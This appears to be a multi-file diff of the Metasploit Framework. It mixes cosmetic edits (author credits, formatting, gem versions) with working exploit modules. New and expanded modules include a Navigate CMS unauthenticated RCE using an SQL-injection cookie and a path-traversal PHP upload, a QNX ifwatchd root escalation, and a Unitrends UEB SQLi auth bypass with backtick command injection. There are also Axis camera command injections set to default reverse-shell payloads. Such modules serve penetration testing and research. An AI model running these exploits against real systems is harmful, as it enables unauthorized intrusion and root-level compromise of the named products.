@ -602,7 +611,7 @@ class Console::CommandDispatcher::Android
print_error("Error: #{e}")
else
print_status(g.to_s)
print_status("Google Maps URL: #{g.google_maps_url}")
print_status("Google Maps URL: #{g.google_maps_url}")
end
end

View File

@ -34,12 +34,14 @@ class Console::CommandDispatcher::Core
end
@@irb_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help banner.'],
'-e' => [true, 'Expression to evaluate.'])
'-h' => [false, 'Help menu.' ],
'-e' => [true, 'Expression to evaluate.']
)
@@load_opts = Rex::Parser::Arguments.new(
'-l' => [false, 'List all available extensions'],
'-h' => [false, 'Help menu.'])
'-h' => [false, 'Help menu.' ],
'-l' => [false, 'List all available extensions.']
)
#
# List of supported commands.
@ -52,8 +54,8 @@ class Console::CommandDispatcher::Core
'channel' => 'Displays information or control active channels',
'exit' => 'Terminate the meterpreter session',
'help' => 'Help menu',
'irb' => 'Drop into irb scripting mode',
'pry' => 'Open a Pry session on the current session',
'irb' => 'Open an interactive Ruby shell on the current session',
'pry' => 'Open the Pry debugger on the current session',
'use' => 'Deprecated alias for "load"',
'load' => 'Load one or more meterpreter extensions',
'machine_id' => 'Get the MSF ID of the machine attached to the session',
@ -532,7 +534,7 @@ class Console::CommandDispatcher::Core
def cmd_irb_help
print_line('Usage: irb')
print_line
print_line('Execute commands in a Ruby environment')
print_line('Open an interactive Ruby shell on the current session.')
print @@irb_opts.usage
end
@ -542,7 +544,7 @@ class Console::CommandDispatcher::Core
end
#
# Runs the IRB scripting shell
# Open an interactive Ruby shell on the current session
#
def cmd_irb(*args)
expressions = []
@ -561,12 +563,16 @@ class Console::CommandDispatcher::Core
framework = client.framework
if expressions.empty?
print_status('Starting IRB shell')
print_status('The "client" variable holds the meterpreter client')
print_line
print_status('Starting IRB shell...')
print_status("You are in the \"client\" (session) object\n")
Rex::Ui::Text::IrbShell.new(binding).run
Rex::Ui::Text::IrbShell.new(client).run
else
# XXX: No vprint_status here
if framework.datastore['VERBOSE'].to_s == 'true'
print_status("You are executing expressions in #{binding.receiver}")
end
expressions.each { |expression| eval(expression, binding) }
end
end
@ -574,12 +580,12 @@ class Console::CommandDispatcher::Core
def cmd_pry_help
print_line 'Usage: pry'
print_line
print_line 'Open a Pry session on the current session.'
print_line 'Open the Pry debugger on the current session.'
print_line
end
#
# Open a Pry session on the current session
# Open the Pry debugger on the current session
#
def cmd_pry(*args)
if args.include?('-h')

View File

@ -37,13 +37,12 @@ class Console::CommandDispatcher::Kiwi
def initialize(shell)
super
print_line
print_line
print_line(" .#####. mimikatz 2.1.1 20180820 (#{client.session_type})")
print_line(" .#####. mimikatz 2.1.1 20180925 (#{client.session_type})")
print_line(" .## ^ ##. \"A La Vie, A L'Amour\"")
print_line(" ## / \\ ## /* * *")
print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
print_line(" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)")
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
print_line(" ## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
print_line(" ## \\ / ## > http://blog.gentilkiwi.com/mimikatz")
print_line(" '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )")
print_line(" '#####' > http://pingcastle.com / http://mysmartlogon.com ***/")
print_line
si = client.sys.config.sysinfo

View File

@ -454,6 +454,7 @@ module DispatcherShell
found = true
end
rescue ::Interrupt
found = true
print_error("#{method}: Interrupted")
raise if propagate_errors
rescue OptionParser::ParseError => e

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.47'
spec.add_runtime_dependency 'metasploit-payloads', '1.3.52'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.4.2'
# Needed by msfgui and other rpc components
@ -131,6 +131,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'dnsruby'
spec.add_runtime_dependency 'mqtt'
spec.add_runtime_dependency 'net-ssh'
spec.add_runtime_dependency 'ed25519' # Adds ed25519 keys for net-ssh
spec.add_runtime_dependency 'bcrypt_pbkdf'
spec.add_runtime_dependency 'ruby_smb'

View File

@ -22,14 +22,14 @@ class MetasploitModule < Msf::Auxiliary
},
'Author' =>
[
'Rob Carr <rob[at]rastating.com>' # Discovery and Metasploit module
'rastating' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-2673'],
['WPVDB', '7808'],
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
['URL', 'https://rastating.github.io/wp-easycart-privilege-escalation-information-disclosure/']
],
'DisclosureDate' => 'Feb 25 2015'
))

View File

@ -24,8 +24,8 @@ class MetasploitModule < Msf::Auxiliary
},
'Author' =>
[
'Evex', # Vulnerability discovery
'Rob Carr <rob[at]rastating.com>' # Metasploit module
'Evex', # Vulnerability discovery
'rastating' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>

View File

@ -25,9 +25,6 @@ class MetasploitModule < Msf::Auxiliary
['URL', 'https://nbulischeck.github.io/apple-safari-crash'],
],
'DisclosureDate' => "Sep 15 2018",
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)
end
@ -36,8 +33,8 @@ class MetasploitModule < Msf::Auxiliary
exploit
end
def on_request_uri(cli, _request)
print_status('Sending response')
def on_request_uri(cli, request)
print_status("#{cli.peerhost}: Sending response to User-Agent: #{request['User-Agent']}")
html = %|
<html>
<head>

View File

@ -18,9 +18,9 @@ class MetasploitModule < Msf::Auxiliary
'License' => MSF_LICENSE,
'Author' =>
[
'Javier Nieto Arevalo', # Vulnerability disclosure
'Andres Rojas Guerrero', # Vulnerability disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
'Javier Nieto Arevalo', # Vulnerability disclosure
'Andres Rojas Guerrero', # Vulnerability disclosure
'rastating' # Metasploit module
],
'References' =>
[

View File

@ -31,6 +31,10 @@ class MetasploitModule < Msf::Auxiliary
[ 'CVE', '2018-14058' ],
[ 'EDB', '45208' ]
],
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ]
},
'DisclosureDate' => 'Aug 13, 2018'
))

View File

@ -18,8 +18,8 @@ class MetasploitModule < Msf::Auxiliary
'License' => MSF_LICENSE,
'Author' =>
[
'James Golovich', # Disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
'James Golovich', # Disclosure
'rastating' # Metasploit module
],
'References' =>
[

View File

@ -23,8 +23,8 @@ class MetasploitModule < Msf::Auxiliary
'License' => MSF_LICENSE,
'Author' =>
[
'James Hooker', # Disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
'James Hooker', # Disclosure
'rastating' # Metasploit module
],
'References' =>
[

View File

@ -40,10 +40,7 @@ class MetasploitModule < Msf::Auxiliary
],
'DisclosureDate' => 'Sep 24 2014',
'License' => MSF_LICENSE,
'Notes' =>
{
'AKA' => ['Shellshock']
}
'Notes' => {'AKA' => ['Shellshock']}
))
register_options([

View File

@ -12,12 +12,12 @@ class MetasploitModule < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Axis Network Camera .srv to parhand RCE',
'Description' => %q{
'Name' => 'Axis Network Camera .srv to parhand RCE',
'Description' => %q{
This module exploits an auth bypass in .srv functionality and a
command injection in parhand to execute code as the root user.
},
'Author' => [
'Author' => [
'Or Peles', # Vulnerability discovery (VDOO)
'wvu', # Metasploit module
'sinn3r', # Metasploit module
@ -28,40 +28,62 @@ class MetasploitModule < Msf::Exploit::Remote
'Chris Lee', # Metasploit module
'Cale Black' # Metasploit module
],
'References' => [
'References' => [
['CVE', '2018-10660'],
['CVE', '2018-10661'],
['CVE', '2018-10662'],
['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'],
['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf']
],
'DisclosureDate' => 'Jun 18 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
'DisclosureDate' => 'Jun 18 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'BadChars' => ' ',
'Encoder' => 'cmd/ifs',
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'netcat-e'}
}
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'BadChars' => ' ',
'Encoder' => 'cmd/ifs',
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat-e'
}
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Type' => :linux_dropper
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}
'DefaultTarget' => 1,
'DefaultOptions' => {'WfsDelay' => 10}
))
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => "/index.html/#{rand_srv}"
)
if res && res.code == 204
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
case target['Type']
when :unix_memory
@ -72,8 +94,6 @@ class MetasploitModule < Msf::Exploit::Remote
end
def execute_command(cmd, opts = {})
rand_srv = "#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"
send_request_cgi(
'method' => 'POST',
'uri' => "/index.html/#{rand_srv}",
@ -81,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote
'action' => 'dbus',
'args' => dbus_send(
method: :set_param,
param: "string:root.Time.DST.Enabled string:;#{cmd}"
param: "string:root.Time.DST.Enabled string:;(#{cmd})&"
)
}
)
@ -111,4 +131,8 @@ class MetasploitModule < Msf::Exploit::Remote
args
end
def rand_srv
"#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"
end
end

View File

@ -16,8 +16,8 @@ class MetasploitModule < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'HP VAN SDN Controller Root Command Injection',
'Description' => %q{
'Name' => 'HP VAN SDN Controller Root Command Injection',
'Description' => %q{
This module exploits a hardcoded service token or default credentials
in HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root.
@ -27,36 +27,36 @@ class MetasploitModule < Msf::Exploit::Remote
If the service token option TOKEN is blank, USERNAME and PASSWORD will
be used for authentication. An additional login request will be sent.
},
'Author' => [
'Author' => [
'Matt Bergin', # Vulnerability discovery and Python exploit
'wvu' # Metasploit module and additional ~research~
],
'References' => [
'References' => [
['EDB', '44951'],
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt']
],
'DisclosureDate' => 'Jun 25 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
'DisclosureDate' => 'Jun 25 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {'BadChars' => ' '},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'}
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {'BadChars' => ' '},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true}
'DefaultTarget' => 0,
'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true}
))
register_options([

View File

@ -11,18 +11,21 @@ class MetasploitModule < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Unitrends UEB 9 http api/storage remote root',
'Name' => 'Unitrends UEB http api remote code execution',
'Description' => %q{
It was discovered that the api/storage web interface in Unitrends Backup (UB)
before 10.0.0 has an issue in which one of its input parameters was not validated.
A remote attacker could use this flaw to bypass authentication and execute arbitrary
commands with root privilege on the target system.
UEB v9 runs the api under root privileges and api/storage is vulnerable.
UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
},
'Author' =>
[
'Cale Smith', # @0xC413
'Benny Husted', # @BennyHusted
'Jared Arave' # @iotennui
'Jared Arave', # @iotennui
'h00die'
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
@ -31,14 +34,18 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'],
['EDB', '44297'],
['CVE', '2017-12478'],
['CVE', '2018-6328']
],
'Targets' =>
[
[ 'UEB 9.*', { } ]
[ 'UEB 9.*', { 'Privileged' => true} ],
[ 'UEB < 10.1.0', { 'Privileged' => false} ]
],
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'SSL' => true
@ -53,6 +60,28 @@ class MetasploitModule < Msf::Exploit::Remote
deregister_options('SRVHOST', 'SRVPORT')
end
def auth_token
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
Base64.strict_encode64(session) #b64 encode session token
end
def check
res = send_request_cgi!({
'method' => 'GET',
'uri' => '/api/systems/details',
'ctype' => 'application/json',
'headers' =>
{'AuthToken' => auth_token}
})
if res && res.code == 200
print_good("Good news, looks like a vulnerable version of UEB.")
return CheckCode::Appears
else
print_bad('Host does not appear to be vulnerable.')
end
return CheckCode::Safe
end
#substitue some charactes
def filter_bad_chars(cmd)
cmd.gsub!("\\", "\\\\\\")
@ -60,23 +89,27 @@ class MetasploitModule < Msf::Exploit::Remote
end
def execute_command(cmd, opts = {})
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
session = Base64.strict_encode64(session) #b64 encode session token
#substitue the cmd into the hostname parameter
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
parms << filter_bad_chars(cmd)
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
if target.name == 'UEB 9.*'
#substitue the cmd into the hostname parameter
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
parms << filter_bad_chars(cmd)
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
uri = '/api/storage'
elsif target.name == 'UEB < 10.1.0'
parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&|
parms << filter_bad_chars(cmd)
parms << %Q|`'"}|
uri = '/api/hosts'
end
res = send_request_cgi({
'uri' => '/api/storage',
'uri' => uri,
'method' => 'POST',
'ctype' => 'application/json',
'encode_params' => false,
'data' => parms,
'headers' =>
{'AuthToken' => session}
{'AuthToken' => auth_token}
})
if res && res.code != 500
@ -87,7 +120,8 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
print_status("#{peer} - pwn'ng ueb 9....")
print_status("#{peer} - Sending requests to UEB...")
execute_cmdstager(:linemax => 120)
end
end

View File

@ -18,13 +18,14 @@ class MetasploitModule < Msf::Exploit::Local
This module attempts to gain root privileges on Deepin Linux systems
by using lastore-daemon to install a package.
The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any
The lastore-daemon D-Bus configuration on Deepin Linux permits any
user in the sudo group to install arbitrary system packages without
providing a password, resulting in code execution as root. By default,
the first user created on the system is a member of the sudo group.
This module has been tested successfully with lastore-daemon version
0.9.53-1 on Deepin Linux 15.5 (x64).
This module has been tested successfully with lastore-daemon versions
0.9.53-1 on Deepin Linux 15.5 (x64); and
0.9.66-1 on Deepin Linux 15.7 (x64).
},
'License' => MSF_LICENSE,
'Author' =>

View File

@ -45,20 +45,20 @@ class MetasploitModule < Msf::Exploit
'Privileged' => false,
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_memory
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_memory
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0

View File

@ -0,0 +1,128 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
'Description' => %q(
This module exploits insufficient sanitization in the database::protect
method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
The module then uses a path traversal vulnerability in navigate_upload.php
that allows authenticated users to upload PHP files to arbitrary locations.
Together these vulnerabilities allow an unauthenticated attacker to
execute arbitrary PHP code remotely.
This module was tested against Navigate CMS 2.8.
),
'Author' =>
[
'Pyriphlegethon' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2018-17552'], # Authentication bypass
['CVE', '2018-17553'] # File upload
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 26 2018'))
register_options [
OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
]
end
def login_bypass
check_resp = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.php')
)
login_bypass_resp = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/login.php'),
'cookie' => 'navigate-user=\" OR TRUE--%20'
)
if login_bypass_resp &&
login_bypass_resp.code == 302 &&
check_resp.body.include?('Navigate CMS')
session_id = login_bypass_resp.get_cookies_parsed
.values.select { |v| v.to_s.include?('NVSID_') }
.first.first
return session_id
end
end
def check
return CheckCode::Vulnerable if login_bypass
CheckCode::Safe
end
def exploit
session_id = login_bypass
fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id
print_good('Login bypass successful')
php = payload.encoded
data = Rex::MIME::Message.new
data.add_part(php, 'image/jpeg', nil,
"form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
data_post = data.to_s
upload = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
'vars_get' => Hash[{
'session_id' => session_id,
'engine' => 'picnik',
'id' => '../../../navigate_info.php'
}.to_a.shuffle],
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post
)
fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200
print_good('Upload successful')
print_status('Triggering payload...')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
)
end
def on_new_session(session)
super
if session.type != 'meterpreter'
print_error('Unable to restore navigate_info.php')
return
end
session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
begin
session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
rescue
print_error('Unable to restore navigate_info.php')
end
end
end

View File

@ -22,8 +22,8 @@ class MetasploitModule < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'James Golovich', # Discovery and disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
'James Golovich', # Discovery and disclosure
'rastating' # Metasploit module
],
'References' =>
[

View File

@ -0,0 +1,118 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ifwatchd Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
systems by exploiting the ifwatchd suid executable.
ifwatchd allows users to specify scripts to execute using the '-A'
command line argument; however, it does not drop privileges when
executing user-supplied scripts, resulting in execution of arbitrary
commands as root.
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
and 6.5.0 SP1 (x86).
},
'License' => MSF_LICENSE,
'Author' =>
[
'cenobyte', # Discovery and exploit
'Tim Brown', # Independent discovery
'Brendan Coles' # Metasploit
],
'References' =>
[
['CVE', '2014-2533'],
['BID', '66449'],
['EDB', '32153'],
['URL', 'http://seclists.org/bugtraq/2014/Mar/66']
],
'DisclosureDate' => 'Mar 10 2014',
'Platform' => 'unix', # QNX
'Arch' => ARCH_CMD,
'SessionTypes' => %w(shell meterpreter),
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'Payload' =>
{
'BadChars' => '',
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'gawk generic'
}
},
'DefaultOptions' =>
{
'WfsDelay' => 10,
'PAYLOAD' => 'cmd/unix/reverse_awk'
}
))
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def ifwatchd_path
'/sbin/ifwatchd'
end
def base_dir
datastore['WritableDir']
end
def check
unless setuid? ifwatchd_path
vprint_error "#{ifwatchd_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{ifwatchd_path} is setuid"
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
script_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
print_status 'Writing interface arrival event script...'
cmd_exec "echo '#!/bin/sh' > #{script_path}"
cmd_exec "echo 'PATH=/bin:/usr/bin' >> #{script_path}"
cmd_exec "echo 'IFWPID=$(ps -edaf | grep \"#{script_path}\" | awk \"!/grep/ { print $2 }\")' >> #{script_path}"
exp = payload.encoded.gsub('"', '\"').gsub('$', '\$')
cmd_exec "echo \"#{exp}\" >> #{script_path}"
cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}"
register_file_for_cleanup script_path
cmd_exec "chmod +x '#{script_path}'"
print_status "Executing #{ifwatchd_path}..."
interface = 'lo0'
cmd_exec "#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo "
end
end

View File

@ -47,8 +47,7 @@ class MetasploitModule < Msf::Exploit
%w{URL https://seclists.org/oss-sec/2016/q3/682},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669},
%w{AKA ImageTragick}
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
],
'DisclosureDate' => 'May 3 2016',
'License' => MSF_LICENSE,
@ -63,7 +62,8 @@ class MetasploitModule < Msf::Exploit
['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
['PS file', template: 'msf.ps'] # PoC from taviso
],
'DefaultTarget' => 0
'DefaultTarget' => 0,
'Notes' => {'AKA' => ['ImageTragick']}
))
register_options([

View File

@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
['URL', 'https://github.com/a2u/CVE-2018-7600'],
['URL', 'https://github.com/nixawk/labs/issues/19'],
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
['URL', 'https://github.com/FireFart/CVE-2018-7600']
],
'DisclosureDate' => 'Mar 28 2018',
'License' => MSF_LICENSE,
@ -47,89 +47,83 @@ class MetasploitModule < Msf::Exploit::Remote
# Automatic targets (PHP, cmd/unix, native)
#
['Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory
],
['Automatic (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_dropper
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_dropper
],
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
],
#
# Drupal 7.x targets (PHP, cmd/unix, native)
#
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7'),
'Type' => :php_memory
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7'),
'Type' => :php_memory
],
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7'),
'Type' => :php_dropper
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7'),
'Type' => :php_dropper
],
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7'),
'Type' => :unix_memory
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7'),
'Type' => :unix_memory
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7'),
'Type' => :linux_dropper
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7'),
'Type' => :linux_dropper
],
#
# Drupal 8.x targets (PHP, cmd/unix, native)
#
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8'),
'Type' => :php_memory
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8'),
'Type' => :php_memory
],
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8'),
'Type' => :php_dropper
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8'),
'Type' => :php_dropper
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8'),
'Type' => :unix_memory
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8'),
'Type' => :unix_memory
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8'),
'Type' => :linux_dropper
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8'),
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2},
'Notes' =>
{
'AKA' => [
'SA-CORE-2018-002',
'Drupalgeddon 2'
]
}
'Notes' => {'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
))
register_options([

View File

@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'Rob Carr <rob[at]rastating.com>'
'rastating'
],
'References' =>
[

View File

@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'Rob Carr <rob[at]rastating.com>' # Metasploit module
'rastating' # Metasploit module
],
'DisclosureDate' => 'Feb 21 2015',
'Platform' => 'php',

View File

@ -36,8 +36,8 @@ class MetasploitModule < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
